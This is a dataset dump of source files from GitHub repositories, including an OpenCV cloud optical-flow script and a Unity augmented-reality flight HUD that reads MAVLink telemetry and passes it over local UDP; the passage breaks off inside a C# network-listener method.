like","value":[{"alpha_fraction":0.7475728392601013,"alphanum_fraction":0.7669903039932251,"avg_line_length":49.5,"blob_id":"de3366e05acc082e4f230ab1aa661a1a5dc2290e","content_id":"045f4d4ae8d94e750f6b1d2d714710a5ac63e447","detected_licenses":["Python-2.0"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":103,"license_type":"permissive","max_line_length":71,"num_lines":2,"path":"/ecr-meta/ecr-science-description.md","repo_name":"waggle-sensor/Cloud-Optical-Flow","src_encoding":"UTF-8","text":"<h4> Cloud Optical Flow</h4>\nUsing OpenCV optical flow to determine cloud motion with a video/movie.\n\n\n"},{"alpha_fraction":0.7992125749588013,"alphanum_fraction":0.7992125749588013,"avg_line_length":125.5,"blob_id":"66a865d9023da8aedcccb0aab34dbf1d41009543","content_id":"2ce8455d7116102276e27928f0572c6fbcad0856","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":254,"license_type":"no_license","max_line_length":141,"num_lines":2,"path":"/README.md","repo_name":"waggle-sensor/Cloud-Optical-Flow","src_encoding":"UTF-8","text":"Cloud Optical Flow is a program that takes a video source and adds optical flow. Optical flow then is able to detet motion within the video. \nWithin the code is a set of pixel coordinates. The coordinate is where optical will be finding motion vectors. \n"},{"alpha_fraction":0.7837837934494019,"alphanum_fraction":0.8054053783416748,"avg_line_length":30,"blob_id":"92d2407e4b4905b663e0fda6fde1a4d0a1ccb8f5","content_id":"6009a048bb842e158f32d406266f02f74276b613","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":185,"license_type":"no_license","max_line_length":70,"num_lines":6,"path":"/requirements.txt","repo_name":"waggle-sensor/Cloud-Optical-Flow","src_encoding":"UTF-8","text":"# Required Waggle Python modules\nhttps://github.com/waggle-sensor/pywaggle/archive/refs/tags/0.43.1.zip\n\n# Custom Python modules. Please add your requirements below.\nnumpy\nopencv-python"},{"alpha_fraction":0.5846790671348572,"alphanum_fraction":0.6190476417541504,"avg_line_length":28.814815521240234,"blob_id":"cb3cf4a76aff8e918a13667ac00be70931d7b757","content_id":"9dbc6583b79c71bbca867f058cd24ba2d00d4c5a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2415,"license_type":"no_license","max_line_length":82,"num_lines":81,"path":"/main.py","repo_name":"waggle-sensor/Cloud-Optical-Flow","src_encoding":"UTF-8","text":"from threading import Thread\nfrom queue import Queue\nimport numpy as np\nimport cv2 as cv\nimport time \nimport pandas as pd\nimport xlsxwriter\n\nworkbook = xlsxwriter.Workbook('Velocitydata.xlsx')\nworksheet = workbook.add_worksheet('Sheet 1')\n\ndef create_video_capture_queue(device, queue_size=30, fps=None, quiet=False):\n frames = Queue(queue_size)\n \n\n def video_capture_worker():\n capture = cv.VideoCapture(device)\n next_cap = time.time()\n current_time = next_cap\n while capture.isOpened():\n current_time = time.time()\n ok, frame = capture.read()\n if not ok and not quiet:\n raise RuntimeError(\"failed to capture frame\")\n elif fps is None: \n frames.put(frame)\n elif current_time >= next_cap:\n frames.put(frame)\n next_cap = current_time + 1./fps\n\n Thread(target=video_capture_worker, daemon=True).start()\n return frames\ncap = cv.VideoCapture(cv.samples.findFile(\"MovieOn20191121.mp4\"))\nret, frame1 = cap.read()\nprvs = cv.cvtColor(frame1,cv.COLOR_BGR2GRAY)\nhsv = np.zeros_like(frame1)\nhsv[...,1] = 255\n\n\ndf = pd.read_excel ('data.xlsx',sheet_name='Sheet1',header = None)\nheight = df\n#print(df)\ni = 1\nrow = 0\ncol = 0\nwhile i < 201:\n ret, frame2 = cap.read()\n next = cv.cvtColor(frame2,cv.COLOR_BGR2GRAY)\n flow = cv.calcOpticalFlowFarneback(prvs,next, None, 0.5, 3, 15, 3, 5, 1.2, 0)\n mag, ang = cv.cartToPolar(flow[...,0], flow[...,1])\n hsv[...,0] = ang*180/np.pi/2\n hsv[...,2] = cv.normalize(mag,None,0,255,cv.NORM_MINMAX)\n bgr = cv.cvtColor(hsv,cv.COLOR_HSV2BGR)\n cv.imshow('frame2',bgr)\n k = cv.waitKey(30) & 0xff\n if k == 27:\n break\n elif k == ord('s'):\n cv.imwrite('opticalfb.png',frame2)\n cv.imwrite('opticalhsv.png',bgr)\n pixel_y = 320\n pixel_x = 192\n #print(f'the velocity vector at pixel (y=10,x=15) is {flow[pixel_x,pixel_y]}')\n prvs = next\n magnitude = np.linalg.norm(flow[pixel_x,pixel_y])\n print('Magnitude','Height','Velocity')\n print(magnitude,df.iloc[i].values)\n worksheet.write(row,col,magnitude)\n worksheet.write(row,col+1,df.iloc[i].values)\n\n velocity = ((height.iloc[i].values//(1307.7504)) * magnitude)\n \n print('Magnitude','Height','Velocity')\n #print(magnitude,df.iloc[i].values,velocity)\n \n row += 1\n i += 1\n \nworkbook.close()\n \n()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7475728392601013,\n \"alphanum_fraction\": 0.7669903039932251,\n \"avg_line_length\": 49.5,\n \"blob_id\": \"de3366e05acc082e4f230ab1aa661a1a5dc2290e\",\n \"content_id\": \"045f4d4ae8d94e750f6b1d2d714710a5ac63e447\",\n \"detected_licenses\": [\n \"Python-2.0\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 103,\n \"license_type\": \"permissive\",\n \"max_line_length\": 71,\n \"num_lines\": 2,\n \"path\": \"/ecr-meta/ecr-science-description.md\",\n \"repo_name\": \"waggle-sensor/Cloud-Optical-Flow\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"<h4> Cloud Optical Flow</h4>\\nUsing OpenCV optical flow to determine cloud motion with a video/movie.\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7992125749588013,\n \"alphanum_fraction\": 0.7992125749588013,\n \"avg_line_length\": 125.5,\n \"blob_id\": \"66a865d9023da8aedcccb0aab34dbf1d41009543\",\n \"content_id\": \"2ce8455d7116102276e27928f0572c6fbcad0856\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 254,\n \"license_type\": \"no_license\",\n \"max_line_length\": 141,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"waggle-sensor/Cloud-Optical-Flow\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Cloud Optical Flow is a program that takes a video source and adds optical flow. Optical flow then is able to detet motion within the video. \\nWithin the code is a set of pixel coordinates. The coordinate is where optical will be finding motion vectors. \\n\"\n },\n {\n \"alpha_fraction\": 0.7837837934494019,\n \"alphanum_fraction\": 0.8054053783416748,\n \"avg_line_length\": 30,\n \"blob_id\": \"92d2407e4b4905b663e0fda6fde1a4d0a1ccb8f5\",\n \"content_id\": \"6009a048bb842e158f32d406266f02f74276b613\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 185,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 6,\n \"path\": \"/requirements.txt\",\n \"repo_name\": \"waggle-sensor/Cloud-Optical-Flow\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Required Waggle Python modules\\nhttps://github.com/waggle-sensor/pywaggle/archive/refs/tags/0.43.1.zip\\n\\n# Custom Python modules. Please add your requirements below.\\nnumpy\\nopencv-python\"\n },\n {\n \"alpha_fraction\": 0.5846790671348572,\n \"alphanum_fraction\": 0.6190476417541504,\n \"avg_line_length\": 28.814815521240234,\n \"blob_id\": \"cb3cf4a76aff8e918a13667ac00be70931d7b757\",\n \"content_id\": \"9dbc6583b79c71bbca867f058cd24ba2d00d4c5a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2415,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 81,\n \"path\": \"/main.py\",\n \"repo_name\": \"waggle-sensor/Cloud-Optical-Flow\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from threading import Thread\\nfrom queue import Queue\\nimport numpy as np\\nimport cv2 as cv\\nimport time \\nimport pandas as pd\\nimport xlsxwriter\\n\\nworkbook = xlsxwriter.Workbook('Velocitydata.xlsx')\\nworksheet = workbook.add_worksheet('Sheet 1')\\n\\ndef create_video_capture_queue(device, queue_size=30, fps=None, quiet=False):\\n frames = Queue(queue_size)\\n \\n\\n def video_capture_worker():\\n capture = cv.VideoCapture(device)\\n next_cap = time.time()\\n current_time = next_cap\\n while capture.isOpened():\\n current_time = time.time()\\n ok, frame = capture.read()\\n if not ok and not quiet:\\n raise RuntimeError(\\\"failed to capture frame\\\")\\n elif fps is None: \\n frames.put(frame)\\n elif current_time >= next_cap:\\n frames.put(frame)\\n next_cap = current_time + 1./fps\\n\\n Thread(target=video_capture_worker, daemon=True).start()\\n return frames\\ncap = cv.VideoCapture(cv.samples.findFile(\\\"MovieOn20191121.mp4\\\"))\\nret, frame1 = cap.read()\\nprvs = cv.cvtColor(frame1,cv.COLOR_BGR2GRAY)\\nhsv = np.zeros_like(frame1)\\nhsv[...,1] = 255\\n\\n\\ndf = pd.read_excel ('data.xlsx',sheet_name='Sheet1',header = None)\\nheight = df\\n#print(df)\\ni = 1\\nrow = 0\\ncol = 0\\nwhile i < 201:\\n ret, frame2 = cap.read()\\n next = cv.cvtColor(frame2,cv.COLOR_BGR2GRAY)\\n flow = cv.calcOpticalFlowFarneback(prvs,next, None, 0.5, 3, 15, 3, 5, 1.2, 0)\\n mag, ang = cv.cartToPolar(flow[...,0], flow[...,1])\\n hsv[...,0] = ang*180/np.pi/2\\n hsv[...,2] = cv.normalize(mag,None,0,255,cv.NORM_MINMAX)\\n bgr = cv.cvtColor(hsv,cv.COLOR_HSV2BGR)\\n cv.imshow('frame2',bgr)\\n k = cv.waitKey(30) & 0xff\\n if k == 27:\\n break\\n elif k == ord('s'):\\n cv.imwrite('opticalfb.png',frame2)\\n cv.imwrite('opticalhsv.png',bgr)\\n pixel_y = 320\\n pixel_x = 192\\n #print(f'the velocity vector at pixel (y=10,x=15) is {flow[pixel_x,pixel_y]}')\\n prvs = next\\n magnitude = np.linalg.norm(flow[pixel_x,pixel_y])\\n print('Magnitude','Height','Velocity')\\n print(magnitude,df.iloc[i].values)\\n worksheet.write(row,col,magnitude)\\n worksheet.write(row,col+1,df.iloc[i].values)\\n\\n velocity = ((height.iloc[i].values//(1307.7504)) * magnitude)\\n \\n print('Magnitude','Height','Velocity')\\n #print(magnitude,df.iloc[i].values,velocity)\\n \\n row += 1\\n i += 1\\n \\nworkbook.close()\\n \\n()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2984082,"cells":{"repo_name":{"kind":"string","value":"Wzysaber/learn-git"},"repo_url":{"kind":"string","value":"https://github.com/Wzysaber/learn-git"},"snapshot_id":{"kind":"string","value":"e75a7eebd5d98de1372a5269c5d6cb128ca8c81b"},"revision_id":{"kind":"string","value":"fc1aae874c399d164b9b2a0c55a991e0d1bc14ea"},"directory_id":{"kind":"string","value":"b9e14749ecc9c151d428b81618b114e7260f0b85"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-08-06T17:49:38.380631","string":"2021-08-06T17:49:38.380631"},"revision_date":{"kind":"timestamp","value":"2020-09-20T12:50:37","string":"2020-09-20T12:50:37"},"committer_date":{"kind":"timestamp","value":"2020-09-20T12:50:37","string":"2020-09-20T12:50:37"},"github_id":{"kind":"number","value":220222649,"string":"220,222,649"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7307692170143127,"alphanum_fraction":0.7307692170143127,"avg_line_length":12,"blob_id":"de0d075159edcaf17d6f6b287a5ddfac3b5d8058","content_id":"17c27adae922c227f6a472c3223fa1bca8d055e5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":26,"license_type":"no_license","max_line_length":13,"num_lines":2,"path":"/README.md","repo_name":"Wzysaber/learn-git","src_encoding":"UTF-8","text":"# learn-git\nnone test git\n"},{"alpha_fraction":0.37905237078666687,"alphanum_fraction":0.41147130727767944,"avg_line_length":16.478260040283203,"blob_id":"99887d925e12a18285bae59b98fb471f983ff1a8","content_id":"ef8f6b83b84c712551992faee618b0ae21275dd6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":401,"license_type":"no_license","max_line_length":81,"num_lines":23,"path":"/test.py","repo_name":"Wzysaber/learn-git","src_encoding":"UTF-8","text":"import turtle\nimport time\nimport math\n\ndef polypon(n): \n for i in range(n):\n pen.fd(50)\n pen.left(360/n)\n \ndef arc(p,r,angle):\n L = 2 * math.pi * r *angle/360\n n = int(L / 3) + 1\n length = L / n\n\n \nif __name__ == '__main__':\n pen = turtle.Turtle()\n \n\n turtle.exitonclick()\n###############################################################################33\n\n#ASA"}],"string":"[\n {\n \"alpha_fraction\": 0.7307692170143127,\n \"alphanum_fraction\": 0.7307692170143127,\n \"avg_line_length\": 12,\n \"blob_id\": \"de0d075159edcaf17d6f6b287a5ddfac3b5d8058\",\n \"content_id\": \"17c27adae922c227f6a472c3223fa1bca8d055e5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 26,\n \"license_type\": \"no_license\",\n \"max_line_length\": 13,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"Wzysaber/learn-git\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# learn-git\\nnone test git\\n\"\n },\n {\n \"alpha_fraction\": 0.37905237078666687,\n \"alphanum_fraction\": 0.41147130727767944,\n \"avg_line_length\": 16.478260040283203,\n \"blob_id\": \"99887d925e12a18285bae59b98fb471f983ff1a8\",\n \"content_id\": \"ef8f6b83b84c712551992faee618b0ae21275dd6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 401,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 23,\n \"path\": \"/test.py\",\n \"repo_name\": \"Wzysaber/learn-git\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\nimport time\\nimport math\\n\\ndef polypon(n): \\n for i in range(n):\\n pen.fd(50)\\n pen.left(360/n)\\n \\ndef arc(p,r,angle):\\n L = 2 * math.pi * r *angle/360\\n n = int(L / 3) + 1\\n length = L / n\\n\\n \\nif __name__ == '__main__':\\n pen = turtle.Turtle()\\n \\n\\n turtle.exitonclick()\\n###############################################################################33\\n\\n#ASA\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984083,"cells":{"repo_name":{"kind":"string","value":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana"},"repo_url":{"kind":"string","value":"https://github.com/2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana"},"snapshot_id":{"kind":"string","value":"cb1edc8ebf33c2b6d62c5a80b704b5444464adca"},"revision_id":{"kind":"string","value":"3f8f9719d23f6ae796c10ac1ec2e54790797d595"},"directory_id":{"kind":"string","value":"a7f2e2e4afa5b4859704503536a7bc4c46c01afb"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-31T18:03:41.188686","string":"2020-03-31T18:03:41.188686"},"revision_date":{"kind":"timestamp","value":"2018-11-12T20:53:59","string":"2018-11-12T20:53:59"},"committer_date":{"kind":"timestamp","value":"2018-11-12T20:53:59","string":"2018-11-12T20:53:59"},"github_id":{"kind":"number","value":152445074,"string":"152,445,074"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5902174115180969,"alphanum_fraction":0.6010869741439819,"avg_line_length":20.418603897094727,"blob_id":"9b82c2f19fc0764fd9fe46e0683c671669d976d2","content_id":"d14e1d82ea8d90d1f1009fd1639fc5c0fb337433","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C#","length_bytes":922,"license_type":"no_license","max_line_length":74,"num_lines":43,"path":"/Wecam/Assets/MoveCameraScript.cs","repo_name":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana","src_encoding":"UTF-8","text":"using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class MoveCameraScript : MonoBehaviour\n{\n public float mSpeed;\n\n // Use this for initialization\n void Start()\n {\n mSpeed = 20f;\n }\n\n float inputX, inputZ;\n // Update is called once per frame\n void Update()\n {\n inputX = mSpeed * Input.GetAxis(\"Horizontal\");\n inputZ = mSpeed * Input.GetAxis(\"Vertical\");\n\n if (inputX != 0)\n rotateLeftRight();\n if (inputZ != 0)\n rotateUpDown();\n }\n\n private void move()\n {\n transform.position += transform.forward * inputZ * Time.deltaTime;\n }\n\n private void rotateLeftRight()\n {\n transform.Rotate(new Vector3(0f, inputX * Time.deltaTime, 0f));\n }\n\n private void rotateUpDown()\n {\n transform.Rotate(new Vector3(-inputZ * Time.deltaTime, 0f, 0f));\n }\n}"},{"alpha_fraction":0.5292174816131592,"alphanum_fraction":0.5556402206420898,"avg_line_length":36.141510009765625,"blob_id":"593213f7a573c598785802d6821ec10210bd1ab3","content_id":"bc5c136df082ffafd661844222b524ce167cf451","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3936,"license_type":"no_license","max_line_length":272,"num_lines":106,"path":"/mavlink_serial.py","repo_name":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana","src_encoding":"UTF-8","text":"import sys, time\nimport mavlink_function as mav\nfrom pymavlink import mavutil\nfrom argparse import ArgumentParser\n\nimport socket\nimport sys\n\n# Create a UDP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nserver_address = ('localhost', 10000)\n\nclass RAW_IMU:\n def __init__(self, _xacc, _yacc, _zacc, _xgyro, _ygyro, _zgyro, _xmag, _ymag, _zmag):\n self.xacc = _xacc\n self.yacc = _yacc\n self.zacc = _zacc\n self.xgyro = _xgyro\n self.ygyro = _ygyro\n self.zgyro = _zgyro\n self.xmag = _xmag\n self.ymag = _ymag\n self.zmag = _zmag\n\nclass RAW_GPS:\n def __init__(self, _fix_type, _lat, _lon, _alt, _eph, _epv, _vel, _cog, _satellites_visible):\n self.fix_type = _fix_type\n self.lat = _lat\n self.lon = _lon\n self.alt = _alt\n self.eph = _eph\n self.epv = _epv\n self.vel = _vel\n self.cog = _cog\n self.satellites_visible = _satellites_visible\n \nmaster = mavutil.mavlink_connection(\"COM7\", 115200)\n\nheading = -999\nroll = -999\npitch = -999\naltitude = -999\nlatitude = -999\nlongitude = -999\n\nGPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\nprev_GPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\ndistance = 0\ninit = True\n\nwhile True:\n try:\n master.mav.request_data_stream_send(master.target_system, master.target_component, \n\t\tmavutil.mavlink.MAV_DATA_STREAM_ALL, 100, 1)\n # print(master.recv_match())\n message = master.recv_match()\n \n if not message:\n continue\n if message.get_type() == 'RAW_IMU': #ATTITUDE\n RAW_IMU_dict = message.to_dict()\n DATA = RAW_IMU(int(RAW_IMU_dict[\"xacc\"]), int(RAW_IMU_dict[\"yacc\"]), int(RAW_IMU_dict[\"zacc\"]), int(RAW_IMU_dict[\"xgyro\"]), int(RAW_IMU_dict[\"ygyro\"]), int(RAW_IMU_dict[\"zgyro\"]), int(RAW_IMU_dict[\"xmag\"]), int(RAW_IMU_dict[\"ymag\"]), int(RAW_IMU_dict[\"zmag\"]))\n roll = mav.roll_estimate(DATA)\n pitch = mav.pitch_estimate(DATA)\n \n if message.get_type() == 'VFR_HUD':\n VFR_HUD_dict = message.to_dict()\n heading = int(VFR_HUD_dict[\"heading\"])\n if(heading > 180):\n heading = heading - 360\n altitude = float(VFR_HUD_dict[\"alt\"])\n\n if message.get_type() == 'GPS_RAW_INT':\n GPS_dict = message.to_dict()\n GPS = RAW_GPS(int(GPS_dict[\"fix_type\"]), float(GPS_dict[\"lat\"]) / 10000000, float(GPS_dict[\"lon\"]) / 10000000, int(GPS_dict[\"alt\"]), int(GPS_dict[\"eph\"]), int(GPS_dict[\"epv\"]), int(GPS_dict[\"vel\"]), int(GPS_dict[\"cog\"]), int(GPS_dict[\"satellites_visible\"]))\n # if(not init):\n # distance = mav.distance_two(GPS, prev_GPS) * 1000 #kilometer to meter\n \n # prev_GPS = GPS\n # if(prev_GPS.lon != 0 and prev_GPS.lat != 0):\n # init = False\n \n # print(\"longitude: %f, latitude: %f, distance: %f\" % (GPS.lon, GPS.lat, distance))\n \n if(heading != -999 and pitch != -999 and roll != -999 and altitude != -999 and GPS.lon != 0 and GPS.lat != 0):\n # print(\"heading: %d, pitch: %f, roll: %f, altitude: %f, longitude: %f, latitude: %f\" % (heading, pitch, roll, altitude, GPS.lon, GPS.lat))\n # message = \"AraTa:\"+heading+\":\"+pitch+\":\"+roll+\":\"+altitude+\":\"+GPS.lon+\":\"+GPS.lat\n message = \"AraTa:{0}:{1}:{2}:{3}:{4}:{5}\".format(heading, pitch, roll, altitude, GPS.lon, GPS.lat)\n send_message = str.encode(message)\n print('sending {!r}'.format(send_message))\n sent = sock.sendto(send_message, server_address)\n \n # if message.get_type() == 'NAV_CONTROLLER_OUTPUT':\n # print(\"message: %s\" % message)\n except Exception as e:\n print(e)\n exit(0)\n\n# Get some information !\n# while True:\n# try:\n# print(master.recv_match().to_dict())\n# except:\n# pass\n# time.sleep(0.1)"},{"alpha_fraction":0.5810621976852417,"alphanum_fraction":0.5870020985603333,"avg_line_length":24.105262756347656,"blob_id":"e5f20b2f78d18538be3b57dbd0eb9ddf2a93dd30","content_id":"499934d719d6de4a26be3d4fdd601ab0cb771f38","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C#","length_bytes":2864,"license_type":"no_license","max_line_length":139,"num_lines":114,"path":"/Wecam/Assets/PipeServer.cs","repo_name":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana","src_encoding":"UTF-8","text":"using System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\nusing System;\nusing System.IO;\nusing System.IO.Pipes;\nusing System.Diagnostics;\nusing System.Threading;\nusing System.Security.Principal;\nusing System.Text;\n\npublic class PipeServer : MonoBehaviour {\n public static NamedPipeServerStream pipeServer =\n new NamedPipeServerStream(\"testpipe\", PipeDirection.InOut);\n public static string msgs;\n Process pipeClient = new Process();\n\n public static void ServerThread()\n {\n print(\"Waiting client to connect\\n\");\n // Wait for a client to connect\n pipeServer.WaitForConnection();\n\n print(\"Connected\\n\");\n StreamString ss = new StreamString(pipeServer);\n\n while (true)\n {\n string messages = \"\";\n\n if (ss.ReadString(ref messages))\n {\n //Console.WriteLine(\"Read : \" + messages);\n print(\"Read : \" + messages);\n }\n }\n }\n\n // Use this for initialization\n void Start () {\n print(\"Initialize Pipe Server\\n\");\n ThreadStart childref = new ThreadStart(ServerThread);\n Thread childThread = new Thread(childref);\n childThread.IsBackground = true;\n childThread.Start();\n\n pipeClient.StartInfo.FileName = \"D:/Reza/Dokumen/Visual studio project/WebCam_C_sharp/WebCam_C_sharp/bin/Debug/WebCam_C_sharp.exe\";\n pipeClient.Start();\n }\n\n // Update is called once per frame\n void Update () {\n\t\t\n\t}\n\n private void OnApplicationQuit()\n {\n pipeServer.Close();\n pipeClient.Kill();\n print(\"Close\");\n }\n}\n\npublic class StreamString\n{\n private Stream ioStream;\n private UnicodeEncoding streamEncoding;\n\n public StreamString(Stream ioStream)\n {\n this.ioStream = ioStream;\n streamEncoding = new UnicodeEncoding();\n }\n\n public bool ReadString(ref string msg)\n {\n Console.WriteLine(\"read\");\n int len;\n len = ioStream.ReadByte() * 256;\n len += ioStream.ReadByte();\n Console.WriteLine(\"Len: \" + len);\n if (len > 0)\n {\n byte[] inBuffer = new byte[len];\n ioStream.Read(inBuffer, 0, len);\n\n msg = streamEncoding.GetString(inBuffer);\n\n return true;\n }\n else\n {\n msg = \"\";\n return false;\n }\n }\n\n public int WriteString(string outString)\n {\n byte[] outBuffer = streamEncoding.GetBytes(outString);\n int len = outBuffer.Length;\n if (len > UInt16.MaxValue)\n {\n len = (int)UInt16.MaxValue;\n }\n ioStream.WriteByte((byte)(len / 256));\n ioStream.WriteByte((byte)(len & 255));\n ioStream.Write(outBuffer, 0, len);\n ioStream.Flush();\n\n return outBuffer.Length + 2;\n }\n}\n"},{"alpha_fraction":0.49389830231666565,"alphanum_fraction":0.5166101455688477,"avg_line_length":31.41758155822754,"blob_id":"7292c64fb6aec028c51d87d74a2697a75bdd7335","content_id":"a67b9edb2e8c78acc8b6db440f39d6edfe5483a0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C#","length_bytes":2952,"license_type":"no_license","max_line_length":99,"num_lines":91,"path":"/Wecam/Assets/SerialComm.cs","repo_name":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana","src_encoding":"UTF-8","text":"using System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class SerialComm : MonoBehaviour {\n float[] lastRot = { 0, 0, 0 };\n float lastRoll = 0;\n float lastPitch = 0;\n\n public Transform obj_roll;\n public Transform arrow_roll;\n public Transform obj_pitch;\n public Transform arrow_pitch;\n\n float yaw = 0;\n float pitch = 0;\n float roll = 0;\n \n void OnMessageArrived(string msg)\n {\n //print(\"Message arrived: \" + msg);\n string[] vec3 = msg.Split(':');\n\n //Debug.Log(\"Header: \" + vec3[0]);\n if (vec3[0].Equals(\"AraTa\"))\n {\n if (vec3[1] != \"\" && vec3[2] != \"\" && vec3[3] != \"\")\n {\n //print(\"Masuk\");\n //print(vec3[1] + \", \" + vec3[2] + \", \" + vec3[3]);\n yaw = float.Parse(vec3[1]);\n pitch = float.Parse(vec3[2]);\n roll = float.Parse(vec3[3]);\n\n print(yaw + \", \" + pitch + \", \" + roll);\n\n float difYaw = yaw - lastRot[0];\n float difPitch = pitch - lastRot[1];\n float difRoll = roll - lastRot[2];\n\n rotateCamera(difYaw, difPitch, difRoll);\n \n lastRot[0] = transform.rotation.eulerAngles.y;\n lastRot[1] = transform.rotation.eulerAngles.x;\n lastRot[2] = transform.rotation.eulerAngles.z;\n\n float hudRoll = roll - lastRoll;\n rotateRoll(hudRoll);\n\n lastRoll = roll;\n\n float mvPitch = ((pitch + 180) / 360 * 36) - 18;\n float hudpitch = mvPitch - lastPitch;\n movePitch(hudpitch);\n\n lastPitch = arrow_pitch.position.y;\n //Debug.Log(\"hud: \" + hudRoll + \", roll: \" + roll + \", lastRoll: \" + lastRoll);\n //Debug.Log(\"art: \" + difYaw + \", \" + difPitch + \", \" + difRoll);\n //Debug.Log(\"ptc: \" + mvPitch + \", \" + pitch + \", \" + lastPitch + \", \" + hudpitch);\n }\n }\n }\n\n void rotateCamera(float dy, float dp, float dr)\n {\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\n }\n\n void rotateRoll(float vroll)\n {\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n }\n\n void movePitch(float dpitch)\n {\n arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\n //obj_pitch.transform.position = new Vector3(0.0f, mvPitch, 15.0f);\n //obj_pitch.position.Set(0f, mvPitch, 0f);\n }\n\n void OnConnectionEvent(bool success)\n {\n if (success)\n Debug.Log(\"Connection established\");\n else\n Debug.Log(\"Connection attempt failed or disconnection detected\");\n }\n}\n"},{"alpha_fraction":0.536709189414978,"alphanum_fraction":0.5576328039169312,"avg_line_length":33.81465530395508,"blob_id":"291b9458184efb1e25ae311b44eaa3962661c7dd","content_id":"8592881784b777ff345ea26d2be7a2f05095c47c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C#","length_bytes":8079,"license_type":"no_license","max_line_length":160,"num_lines":232,"path":"/Wecam/Assets/FligthController.cs","repo_name":"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana","src_encoding":"UTF-8","text":"using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Text;\nusing System.Threading;\nusing UnityEngine;\nusing UnityEngine.UI;\n\npublic class FligthController : MonoBehaviour {\n public static string flight_data = \"\";\n\n float[] lastRot = { 0, 0, 0 };\n float lastRoll = 0;\n float lastPitch = 0;\n\n public Transform plane;\n public Transform obj_roll;\n public Transform arrow_roll;\n public Transform obj_pitch;\n public Transform arrow_pitch;\n public Transform pin;\n public Transform direction;\n public Transform arrow_direction;\n\n public Text altitude_text;\n public Text distance_text;\n\n float yaw = 0;\n float pitch = 0;\n float roll = 0;\n\n float altitude = 0;\n float longitude = 0;\n float latitude = 0;\n\n public float target_long;\n public float target_lat;\n\n public static void ServerThread()\n {\n UdpClient udpServer = new UdpClient(10000);\n\n while (true)\n {\n var remoteEP = new IPEndPoint(IPAddress.Any, 10000);\n var data = udpServer.Receive(ref 